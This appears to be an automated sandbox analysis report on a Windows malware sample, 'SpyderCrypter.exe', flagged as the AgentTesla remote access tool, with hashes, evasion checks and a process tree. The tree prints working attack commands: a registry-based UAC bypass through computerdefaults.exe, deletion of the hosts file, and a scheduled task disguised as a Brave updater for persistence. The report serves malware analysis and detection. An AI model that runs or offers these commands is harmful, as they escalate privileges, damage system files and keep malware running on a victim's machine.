Analysis
-
max time kernel
141s -
max time network
104s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
29-04-2024 21:47
Behavioral task
behavioral1
Sample
SpyderCrypter.exe
Resource
win7-20240221-en
General
-
Target
SpyderCrypter.exe
-
Size
4.8MB
-
MD5
b3fb79184d1097420fb68b0240df9660
-
SHA1
60fcb2b85867b247bb5c622f121e4ab208c7da9c
-
SHA256
8babb9a5318d0b2fa43d6c18e91a23a70de547243db91f866e50bb2ff1b7db8b
-
SHA512
130ecef6b8d4418784dafa341277b214693c0d1849e6cf04a87193eb413b3ae0cef7eeb3124494a8bca33ffb2d1b27f875adeadbae1aea3d2ff767710471807e
-
SSDEEP
98304:FYh322d2m5YhkvxW/gGfoq8Np9qAX7z3z9CW6dwFdkyRYq/:FYhGy2tqvpoT8NvzJTp/
Malware Config
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
AgentTesla payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3156-16-0x0000000005AE0000-0x0000000005CF4000-memory.dmp family_agenttesla -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
Processes:
SpyderCrypter.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ SpyderCrypter.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
SpyderCrypter.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion SpyderCrypter.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion SpyderCrypter.exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
SpyderCrypter.exewscript.exeSpyderResources.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation SpyderCrypter.exe Key value queried \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation SpyderResources.exe -
Executes dropped EXE 1 IoCs
Processes:
SpyderResources.exepid process 3360 SpyderResources.exe -
Processes:
resource yara_rule behavioral2/memory/3156-11-0x0000000000B90000-0x000000000159C000-memory.dmp themida behavioral2/memory/3156-12-0x0000000000B90000-0x000000000159C000-memory.dmp themida -
Processes:
SpyderCrypter.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA SpyderCrypter.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 19 raw.githubusercontent.com 3 raw.githubusercontent.com 5 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 4768 3360 WerFault.exe SpyderResources.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
SpyderCrypter.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS SpyderCrypter.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer SpyderCrypter.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion SpyderCrypter.exe -
Modifies registry class 7 IoCs
Processes:
reg.exereg.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell\open\command reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0" reg.exe Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell\open\command reg.exe Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings reg.exe Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell reg.exe Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell\open reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\ms-settings\shell\open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\jackpear63605335.vbs" reg.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
SpyderCrypter.exeSpyderResources.exedescription pid process Token: SeDebugPrivilege 3156 SpyderCrypter.exe Token: SeDebugPrivilege 3360 SpyderResources.exe -
Suspicious use of WriteProcessMemory 27 IoCs
Processes:
SpyderCrypter.exeSpyderResources.execmd.exeComputerDefaults.exewscript.execmd.exedescription pid process target process PID 3156 wrote to memory of 3360 3156 SpyderCrypter.exe SpyderResources.exe PID 3156 wrote to memory of 3360 3156 SpyderCrypter.exe SpyderResources.exe PID 3156 wrote to memory of 3360 3156 SpyderCrypter.exe SpyderResources.exe PID 3360 wrote to memory of 2936 3360 SpyderResources.exe reg.exe PID 3360 wrote to memory of 2936 3360 SpyderResources.exe reg.exe PID 3360 wrote to memory of 2936 3360 SpyderResources.exe reg.exe PID 3360 wrote to memory of 4508 3360 SpyderResources.exe reg.exe PID 3360 wrote to memory of 4508 3360 SpyderResources.exe reg.exe PID 3360 wrote to memory of 4508 3360 SpyderResources.exe reg.exe PID 3360 wrote to memory of 4372 3360 SpyderResources.exe cmd.exe PID 3360 wrote to memory of 4372 3360 SpyderResources.exe cmd.exe PID 3360 wrote to memory of 4372 3360 SpyderResources.exe cmd.exe PID 4372 wrote to memory of 1676 4372 cmd.exe ComputerDefaults.exe PID 4372 wrote to memory of 1676 4372 cmd.exe ComputerDefaults.exe PID 4372 wrote to memory of 1676 4372 cmd.exe ComputerDefaults.exe PID 1676 wrote to memory of 760 1676 ComputerDefaults.exe wscript.exe PID 1676 wrote to memory of 760 1676 ComputerDefaults.exe wscript.exe PID 1676 wrote to memory of 760 1676 ComputerDefaults.exe wscript.exe PID 760 wrote to memory of 3772 760 wscript.exe cmd.exe PID 760 wrote to memory of 3772 760 wscript.exe cmd.exe PID 760 wrote to memory of 3772 760 wscript.exe cmd.exe PID 3360 wrote to memory of 940 3360 SpyderResources.exe cmd.exe PID 3360 wrote to memory of 940 3360 SpyderResources.exe cmd.exe PID 3360 wrote to memory of 940 3360 SpyderResources.exe cmd.exe PID 940 wrote to memory of 4424 940 cmd.exe schtasks.exe PID 940 wrote to memory of 4424 940 cmd.exe schtasks.exe PID 940 wrote to memory of 4424 940 cmd.exe schtasks.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\SpyderCrypter.exe"C:\Users\Admin\AppData\Local\Temp\SpyderCrypter.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3156 -
C:\Users\Admin\AppData\Local\Temp\SpyderResources.exe"C:\Users\Admin\AppData\Local\Temp\SpyderResources.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3360 -
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\jackpear63605335.vbs" /f3⤵
- Modifies registry class
PID:2936 -
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f3⤵
- Modifies registry class
PID:4508 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C computerdefaults.exe3⤵
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Windows\SysWOW64\ComputerDefaults.execomputerdefaults.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\SysWOW64\wscript.exe"wscript.exe" C:\Users\Admin\AppData\Local\Temp\jackpear63605335.vbs5⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts6⤵PID:3772
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN BraveUpdateScheduler_QMyk9gHxWJYAojiqe050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Notifications\wpnidm\QMyk9gHxWJYAojiqe050MX.exe" /RL HIGHEST /IT3⤵
- Suspicious use of WriteProcessMemory
PID:940 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /SC ONLOGON /TN BraveUpdateScheduler_QMyk9gHxWJYAojiqe050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Notifications\wpnidm\QMyk9gHxWJYAojiqe050MX.exe" /RL HIGHEST /IT4⤵
- Creates scheduled task(s)
PID:4424 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3360 -s 22443⤵
- Program crash
PID:4768
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3360 -ip 33601⤵PID:3512
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\SpyderResources.exeFilesize
11KB
MD5cc132ca7e1cf77db1a3e737260fcf14b
SHA1f6058656d44e95c23071251b278bc779a88083da
SHA2564c62d4e150f91dc3fdd1f29c955763c52f357045b1a2edf98ac272631dfdb210
SHA51252e64fdf7acf08525ddb352b0dd0b6ca3df8d8f13fa09dcd31c270c4e2040f2361c04ba56915cd05539f581df712562537239fbc942131cc725502af6d010fee
-
C:\Users\Admin\AppData\Local\Temp\jackpear63605335.vbsFilesize
171B
MD5a34267102c21aff46aecc85598924544
SHA177268af47c6a4b9c6be7f7487b2c9b233d49d435
SHA256eba7ab5c248e46dbe70470b41ebf25a378b4eff9ce632adff927ac1f95583d44
SHA5125d320312b93b46c9051a20c82d6405a3f2c78b23adb3ab3e71aad854b65b500937de7ca2986cf79967386d689beecccf676d89afde8ecc5d5ad0cb4ae2bf38a3
-
memory/3156-18-0x0000000008BA0000-0x0000000008C50000-memory.dmpFilesize
704KB
-
memory/3156-11-0x0000000000B90000-0x000000000159C000-memory.dmpFilesize
10.0MB
-
memory/3156-7-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-45-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-5-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-4-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-3-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-42-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-12-0x0000000000B90000-0x000000000159C000-memory.dmpFilesize
10.0MB
-
memory/3156-13-0x0000000005D20000-0x00000000062C4000-memory.dmpFilesize
5.6MB
-
memory/3156-14-0x0000000005770000-0x0000000005802000-memory.dmpFilesize
584KB
-
memory/3156-15-0x0000000005690000-0x000000000569A000-memory.dmpFilesize
40KB
-
memory/3156-16-0x0000000005AE0000-0x0000000005CF4000-memory.dmpFilesize
2.1MB
-
memory/3156-43-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-0-0x0000000000B90000-0x000000000159C000-memory.dmpFilesize
10.0MB
-
memory/3156-2-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-6-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-8-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-17-0x00000000056E0000-0x00000000056F0000-memory.dmpFilesize
64KB
-
memory/3156-44-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-40-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-1-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-37-0x0000000000B90000-0x000000000159C000-memory.dmpFilesize
10.0MB
-
memory/3156-39-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3156-41-0x0000000076590000-0x0000000076680000-memory.dmpFilesize
960KB
-
memory/3360-33-0x00000000749C0000-0x0000000075170000-memory.dmpFilesize
7.7MB
-
memory/3360-34-0x0000000004F50000-0x0000000004F60000-memory.dmpFilesize
64KB
-
memory/3360-32-0x0000000004EE0000-0x0000000004EEA000-memory.dmpFilesize
40KB
-
memory/3360-31-0x0000000004EF0000-0x0000000004F0A000-memory.dmpFilesize
104KB
-
memory/3360-30-0x0000000000790000-0x000000000079A000-memory.dmpFilesize
40KB
-
memory/3360-47-0x00000000749C0000-0x0000000075170000-memory.dmpFilesize
7.7MB
-
memory/3360-48-0x0000000004F50000-0x0000000004F60000-memory.dmpFilesize
64KB
-
memory/3360-50-0x00000000749C0000-0x0000000075170000-memory.dmpFilesize
7.7MB